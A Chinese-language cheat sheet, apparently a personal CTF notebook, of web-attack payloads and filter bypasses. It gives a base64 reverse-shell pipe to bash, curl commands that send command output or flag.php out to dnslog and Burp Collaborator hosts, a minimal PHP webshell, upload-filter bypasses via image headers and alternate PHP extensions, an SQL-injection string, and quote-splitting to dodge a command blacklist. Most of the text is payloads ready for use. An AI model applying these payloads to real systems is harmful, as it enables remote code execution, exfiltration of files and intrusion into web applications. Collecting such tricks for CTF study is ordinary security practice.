base64反弹shell

这里记录一个之前很常用但都没记录过的典中典payload

echo YOUR_REVERSE_SHELL_PAYLOAD | base64 -d | bash

curl外带

偶尔会碰到能够执行但没有echo回显的情况,此时就可以用curl外带,例如

curl `命令`.域名

这里的域名到dnslog获取。此外,还可以通过curl主动向我们发送一个POST,并携带我们需要的内容,这里以Burp的Collaborator Client为例

curl -X POST -F xx=@flag.php http://jj6xpgxristzkbn1fpkl32t6jxpndc.burpcollaborator.net

-X指定发送一个POST请求,-F指定要发送的文件。xx是post包的参数,可以自定义。@是必须要带的,后面接文件名(也可以是绝对路径)

最短的一句话木马

如果上传处存在长度限制就可以用(非常极限的情况= =)

<?=`nc /*`;

常用图片文件头

如果找不到jpg和png的时候可以用

bmp文件  BM
gif文件  GIF

php后缀名绕过黑名单

pht, phpt, phtml, php3,php4,php5,php6

带数字的后缀不一定能用,就算版本对应,首选pht

ffifdyop

一段很神奇的字符串

短标签

<?php被过滤时,可以使用诸如<?=<% %><script language ="php">的短标签进行替代

联合查询

在使用联合查询时,最后一个符号可以使用闭合,不一定要注释

图片高宽设置

当在上传木马时,如果题目对图片高宽有要求,就可以使用

#define height 1
#define width 1

来设置图片高宽,且可以代替图片文件头(反而此时如果写了GIF89a,还会出现不让过的情况)

fast destruct

简单说明一下

也就是说,当出现下面这样的代码时

执行完反序化后析构函数并不会执行。这种情况下,要想让析构函数在反序化后就被执行,唯一的办法就是让序列化的内容产生错误,导致反序化报错,就会使对象被提前销毁,从而达到提前反序化结束的效果。可以看这篇博客

分号绕过

一直没记录的一种经典绕过方式,可以用在绝大部分被过滤的指令和字符串(仅限在shell中可用,php中不可用)

例如

/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i

要使用ls时,就可以用l’‘s替代